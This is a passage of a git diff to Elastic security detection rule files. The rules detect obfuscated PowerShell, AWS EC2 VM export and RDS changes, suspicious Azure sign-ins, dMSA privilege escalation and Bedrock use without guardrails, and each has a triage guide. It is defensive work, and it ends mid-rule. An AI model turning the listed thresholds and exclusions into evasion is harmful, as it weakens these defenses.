Regularly review and update the exclusion list to include any new benign patterns that are identified over time, ensuring the rule remains effective without generating unnecessary alerts.\n- Consider implementing a whitelist of known safe scripts or script authors to further minimize false positives, especially in environments with frequent legitimate use of complex PowerShell scripts.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further spread of potentially malicious scripts.\n- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious activity.\n- Conduct a thorough review of the PowerShell script block text flagged by the alert to understand the intent and potential impact of the obfuscated script.\n- Remove any malicious scripts or files identified during the investigation from the affected system to prevent re-execution.\n- Restore the system from a known good backup if the script has caused significant changes or damage to the system.\n- Update and strengthen endpoint protection measures, ensuring that AMSI and other security tools are fully operational and configured to detect similar obfuscation techniques.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected.\n", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 500 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 500\n| WHERE powershell.file.script_block_text LIKE \"*{0}*\"\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"((\\{\\d+\\}){2,}[\"']\\s?-f|::Format[^\\{]+(\\{\\d+\\}){2,})\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count > 3\n\n// Exclude Noisy Patterns\n\n// Icinga Framework\n| WHERE (file.name NOT LIKE \"framework_cache.psm1\" or file.name IS NULL)\n| WHERE NOT\n // https://wtfbins.wtf/17\n (\n (powershell.file.script_block_text LIKE \"*sentinelbreakpoints*\" OR\n powershell.file.script_block_text LIKE \"*:::::\\\\\\\\windows\\\\\\\\sentinel*\")\n AND\n (powershell.file.script_block_text LIKE \"*$local:Bypassed*\" OR\n powershell.file.script_block_text LIKE \"*origPSExecutionPolicyPreference*\")\n )\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "e903ce9a-5ce6-4246-bb14-75ed3ec2edf5", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e919611d-6b6f-493b-8314-7ed6ac2e413b_207.json b/packages/security_detection_engine/kibana/security_rule/e919611d-6b6f-493b-8314-7ed6ac2e413b_207.json deleted file mode 100644 index 9dd1b83a06e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/e919611d-6b6f-493b-8314-7ed6ac2e413b_207.json +++ /dev/null @@ -1,105 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic", - "Austin Songer" - ], - "description": "Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information.", - "false_positives": [ - "VM exports may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. VM exports from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS EC2 VM Export Failure", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 VM Export Failure\n\nAWS EC2 allows users to export virtual machines for backup or migration. However, adversaries might exploit this feature to exfiltrate sensitive data by exporting VMs to unauthorized locations. The detection rule monitors failed export attempts, focusing on specific AWS CloudTrail events, to identify potential exfiltration activities, thereby alerting security teams to investigate further.\n\n### Possible investigation steps\n\n- Review the AWS CloudTrail logs for the specific event.action: CreateInstanceExportTask with event.outcome: failure to gather details about the failed export attempt, including timestamps, source IP addresses, and user identities involved.\n- Investigate the IAM user or role associated with the failed export attempt to determine if the action was authorized or if there are any signs of compromised credentials.\n- Check the AWS account's export policies and permissions to ensure they are configured correctly and restrict unauthorized export attempts.\n- Analyze any recent changes in the AWS environment, such as new IAM roles or policy modifications, that could be related to the failed export attempt.\n- Correlate the failed export attempt with other security events or alerts in the environment to identify any patterns or potential coordinated activities indicating a broader threat.\n\n### False positive analysis\n\n- Routine backup operations may trigger the rule if they involve failed export attempts. To manage this, identify and whitelist specific IAM roles or users that regularly perform legitimate backup tasks.\n- Development and testing environments often involve frequent export attempts for non-production instances. Exclude these environments by tagging instances appropriately and adjusting the detection rule to ignore these tags.\n- Misconfigured export tasks due to incorrect permissions or settings can lead to false positives. Regularly review and update IAM policies and export configurations to ensure they align with intended operations.\n- Automated scripts or tools that manage EC2 instances might occasionally fail due to transient issues, causing false alerts. Monitor and log these scripts' activities to distinguish between expected failures and potential threats.\n\n### Response and remediation\n\n- Immediately isolate the affected AWS account to prevent further unauthorized export attempts. This can be done by restricting permissions or temporarily suspending the account.\n- Review and revoke any suspicious or unauthorized IAM roles or policies that may have been used to initiate the failed export attempt.\n- Conduct a thorough audit of recent AWS CloudTrail logs to identify any other unusual activities or patterns that may indicate a broader compromise.\n- Notify the security operations team and relevant stakeholders about the incident for further investigation and potential escalation.\n- Implement additional monitoring and alerting for successful and failed VM export attempts to ensure rapid detection of similar activities in the future.\n- Enhance IAM policies to enforce the principle of least privilege, ensuring only authorized users have the necessary permissions to export EC2 instances.\n- Consider enabling AWS Config rules to continuously monitor and enforce compliance with security best practices related to EC2 instance exports.", - "query": "event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:CreateInstanceExportTask and event.outcome:failure\n", - "references": [ - "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "e919611d-6b6f-493b-8314-7ed6ac2e413b", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Use Case: Asset Visibility", - "Tactic: Exfiltration", - "Tactic: Collection", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0010", - "name": "Exfiltration", - "reference": "https://attack.mitre.org/tactics/TA0010/" - }, - "technique": [ - { - "id": "T1537", - "name": "Transfer Data to Cloud Account", - "reference": "https://attack.mitre.org/techniques/T1537/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0009", - "name": "Collection", - "reference": "https://attack.mitre.org/tactics/TA0009/" - }, - "technique": [ - { - "id": "T1005", - "name": "Data from Local System", - "reference": "https://attack.mitre.org/techniques/T1005/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 207 - }, - "id": "e919611d-6b6f-493b-8314-7ed6ac2e413b_207", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d_210.json b/packages/security_detection_engine/kibana/security_rule/ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d_210.json new file mode 100644 index 00000000000..e10a9a56100 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d_210.json @@ -0,0 +1,92 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped.", + "false_positives": [ + "Valid clusters or instances may be stopped by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Cluster or instance stoppages from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS RDS Instance/Cluster Stoppage", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS RDS Instance/Cluster Stoppage\n\nAmazon RDS is a managed database service that simplifies database setup, operation, and scaling. Adversaries may stop RDS instances or clusters to disrupt services, potentially causing data unavailability or loss. The detection rule monitors AWS CloudTrail logs for successful stop actions on RDS resources, alerting analysts to potential unauthorized disruptions aligned with impact tactics.\n\n### Possible investigation steps\n\n- Review the AWS CloudTrail logs to identify the user or role associated with the StopDBCluster or StopDBInstance action to determine if the action was authorized.\n- Check the event time and correlate it with any scheduled maintenance or known operational activities to rule out legitimate stoppage.\n- Investigate the source IP address and location from which the stop action was initiated to identify any anomalies or unauthorized access.\n- Examine the AWS IAM policies and permissions associated with the user or role to ensure they align with the principle of least privilege.\n- Look for any related alerts or logs around the same timeframe that might indicate a broader security incident or unauthorized access attempt.\n- Contact the relevant database or application owner to confirm whether the stoppage was planned or expected.\n\n### False positive analysis\n\n- Routine maintenance activities may trigger stop actions on RDS instances or clusters. To manage this, create exceptions for scheduled maintenance windows by excluding events occurring during these times.\n- Development and testing environments often involve frequent stopping and starting of RDS instances. Identify and exclude these environments from alerts by using tags or specific instance identifiers.\n- Automated scripts or tools used for cost-saving measures might stop RDS instances during off-peak hours. Review and whitelist these scripts by verifying their source and purpose.\n- User-initiated stop actions for legitimate reasons, such as troubleshooting or configuration changes, can be excluded by maintaining a list of authorized personnel and their activities.\n- CloudFormation or other infrastructure-as-code tools may stop RDS instances as part of deployment processes. Exclude these actions by identifying and filtering events associated with these tools.\n\n### Response and remediation\n\n- Immediately verify the legitimacy of the stop action by reviewing the associated CloudTrail logs, focusing on the user identity, source IP, and time of the event to determine if the action was authorized.\n- If unauthorized, isolate the affected RDS instance or cluster by disabling any associated IAM user or role that performed the stop action to prevent further unauthorized access.\n- Restore the RDS instance or cluster from the latest backup or snapshot to minimize data unavailability and ensure service continuity.\n- Conduct a root cause analysis to identify how the unauthorized stop action was executed, focusing on potential security gaps in IAM policies or network configurations.\n- Implement additional security measures, such as enabling multi-factor authentication (MFA) for all IAM users and roles with permissions to stop RDS instances or clusters.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were impacted.\n- Update the incident response plan to include lessons learned from this event, ensuring quicker and more effective responses to similar threats in the future.", + "query": "event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(StopDBCluster or StopDBInstance) and event.outcome:success\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBCluster.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-instance.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBInstance.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS RDS", + "Use Case: Asset Visibility", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1489", + "name": "Service Stop", + "reference": "https://attack.mitre.org/techniques/T1489/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f0cc239b-67fa-46fc-89d4-f861753a40f5_1.json b/packages/security_detection_engine/kibana/security_rule/f0cc239b-67fa-46fc-89d4-f861753a40f5_1.json deleted file mode 100644 index 2ffb1342615..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f0cc239b-67fa-46fc-89d4-f861753a40f5_1.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule correlate Azure or Office 356 mail successful sign-in events with network security alerts by source.ip. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources.", - "false_positives": [ - "Custom network security rules that triggers on a proxy or gateway used by users to access Azure or O365." - ], - "from": "now-60m", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft Azure or Mail Sign-in from a Suspicious Source", - "note": "## Triage and analysis\n\n### Investigating Microsoft Azure or Mail Sign-in from a Suspicious Source\n\n#### Possible investigation steps\n\n- Investiguate all the alerts associated with the source.ip.\n - Verify the network security alert details associated with this source.ip.\n - Verify all sign-in events associated with this source.ip.\n - Consider the source IP address and geolocation for the involved user account.\n - Consider the device used to sign in. Is it registered and compliant?\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Check if this operation was approved and performed according to the organization's change management policy.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.\n- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Follow security best practices [outlined](https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices) by Microsoft.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", - "query": "FROM logs-*, .alerts-security.*\n// query runs every 1 hour looking for activities occured during last 8 hours to match on disparate events\n| where @timestamp > NOW() - 8 hours\n// filter for Azure or M365 sign-in and External Alerts with source.ip not null\n| where TO_IP(source.ip) is not null and (event.dataset in (\"o365.audit\", \"azure.signinlogs\") or kibana.alert.rule.name == \"External Alerts\") and\n// exclude private IP ranges\n not CIDR_MATCH(TO_IP(source.ip), \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\", \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\",\"FE80::/10\", \"FF00::/8\")\n| keep source.ip, event.action, event.outcome, event.dataset, kibana.alert.rule.name, event.category\n// split alerts to 3 buckets - M365 mail access, azure sign-in and network related external alerts like NGFW and IDS\n| eval mail_access_src_ip = case(event.dataset == \"o365.audit\" and event.action == \"MailItemsAccessed\" and event.outcome == \"success\", TO_IP(source.ip), null),\n azure_src_ip = case(event.dataset == \"azure.signinlogs\" and event.outcome == \"success\", TO_IP(source.ip), null),\n network_alert_src_ip = case(kibana.alert.rule.name == \"External Alerts\" and not event.dataset in (\"o365.audit\", \"azure.signinlogs\"), TO_IP(source.ip), null)\n// aggregated alerts count by bucket and by source.ip\n| stats total_alerts = count(*), is_mail_access = COUNT_DISTINCT(mail_access_src_ip), is_azure = COUNT_DISTINCT(azure_src_ip), unique_dataset = COUNT_DISTINCT(event.dataset),is_network_alert = COUNT_DISTINCT(network_alert_src_ip), datasets = VALUES(event.dataset), rules = VALUES(kibana.alert.rule.name), cat = VALUES(event.category) by source_ip = TO_IP(source.ip)\n// filter for cases where there is a successful sign-in to azure or m365 mail and the source.ip is reported by a network external alert.\n| where is_network_alert > 0 and (is_mail_access > 0 or is_azure > 0 and unique_dataset >= 2)\n", - "risk_score": 73, - "rule_id": "f0cc239b-67fa-46fc-89d4-f861753a40f5", - "setup": "The Azure Fleet integration, Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Domain: SaaS", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in Logs", - "Data Source: Microsoft 365", - "Data Source: Microsoft 365 Audit Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Initial Access", - "Resources: Investigation Guide", - "Rule Type: Higher-Order Rule" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "f0cc239b-67fa-46fc-89d4-f861753a40f5_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f0dbff4c-1aa7-4458-9ed5-ada472f64970_2.json b/packages/security_detection_engine/kibana/security_rule/f0dbff4c-1aa7-4458-9ed5-ada472f64970_2.json new file mode 100644 index 00000000000..57101c1dcb4 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f0dbff4c-1aa7-4458-9ed5-ada472f64970_2.json @@ -0,0 +1,100 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse the dMSA account migration feature to elevate privileges abusing weak persmission allowing users child objects rights or msDS-DelegatedManagedServiceAccount rights.", + "from": "now-9m", + "history_window_start": "now-10d", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "dMSA Account Creation by an Unusual User", + "new_terms_fields": [ + "winlog.event_data.SubjectUserName" + ], + "note": "## Triage and analysis\n\n### Investigating dMSA Account Creation by an Unusual User\n\n### Possible investigation steps\n- Examine the winlog.event_data.SubjectUserName field and verify if he is allowed and used to create dMSA accounts.\n- Examine all Active Directory modifications performed by the winlog.event_data.SubjectUserName.\n- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior.\n- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment.\n\n### False positive analysis\n\n- Migration of legacy service accounts using delegated managed service account.\n\n### Response and remediation\n\n- Immediately disable the winlog.event_data.SubjectUserName account and revert all changes performed by that account.\n- Identify and isolate the source machines from where the SubjectUserName is authenticating.\n- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts.\n- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects or create OU child objects.", + "query": "event.code:5137 and host.os.type:\"windows\" and winlog.event_data.ObjectClass:\"msDS-DelegatedManagedServiceAccount\"\n", + "references": [ + "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.ObjectClass", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "f0dbff4c-1aa7-4458-9ed5-ada472f64970", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + }, + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 2 + }, + "id": "f0dbff4c-1aa7-4458-9ed5-ada472f64970_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f2c653b7-7daf-4774-86f2-34cdbd1fc528_1.json b/packages/security_detection_engine/kibana/security_rule/f2c653b7-7daf-4774-86f2-34cdbd1fc528_1.json deleted file mode 100644 index 3f2b2eb698a..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f2c653b7-7daf-4774-86f2-34cdbd1fc528_1.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system.", - "false_positives": [ - "Users testing new model deployments or updated compliance policies without Amazon Bedrock guardrails." - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Invocations without Guardrails Detected by a Single User Over a Session.\n\nUsing Amazon Bedrock Guardrails during model invocation is critical for ensuring the safe, reliable, and ethical use of AI models. \nGuardrails help manage risks associated with AI usage and ensure the output aligns with desired policies and standards.\n\n#### Possible investigation steps\n\n- Identify the user account that caused multiple model violations over a session without desired guardrail configuration and whether it should perform this kind of action.\n- Investigate the user activity that might indicate a potential brute force attack.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n// create time window buckets of 1 minute\n| eval time_window = date_trunc(1 minute, @timestamp)\n| where gen_ai.guardrail_id is NULL\n| KEEP @timestamp, time_window, gen_ai.guardrail_id , user.id\n| stats model_invocation_without_guardrails = count() by user.id\n| where model_invocation_without_guardrails > 5\n| sort model_invocation_without_guardrails desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "f2c653b7-7daf-4774-86f2-34cdbd1fc528", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Resources: Investigation Guide", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "f2c653b7-7daf-4774-86f2-34cdbd1fc528_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f30f3443-4fbb-4c27-ab89-c3ad49d62315_210.json b/packages/security_detection_engine/kibana/security_rule/f30f3443-4fbb-4c27-ab89-c3ad49d62315_210.json new file mode 100644 index 00000000000..203e34f18e5 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f30f3443-4fbb-4c27-ab89-c3ad49d62315_210.json @@ -0,0 +1,84 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance.", + "false_positives": [ + "A database instance may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Instances creations by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS RDS Instance Creation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS RDS Instance Creation\n\nAmazon RDS simplifies database management by automating tasks like provisioning and scaling. However, adversaries may exploit this by creating unauthorized instances to exfiltrate data or establish persistence. The detection rule monitors successful RDS instance creations, focusing on specific AWS CloudTrail events, to identify potential misuse and ensure asset visibility.\n\n### Possible investigation steps\n\n- Review the CloudTrail logs for the specific event.action:CreateDBInstance to gather details about the RDS instance creation, including the timestamp, user identity, and source IP address.\n- Verify the user identity associated with the event to determine if the action was performed by an authorized user or service account. Check for any anomalies in user behavior or access patterns.\n- Investigate the source IP address to identify if it is associated with known internal or external entities, and assess if it aligns with expected network activity.\n- Examine the AWS account and region where the RDS instance was created to ensure it aligns with organizational policies and expected usage patterns.\n- Check for any 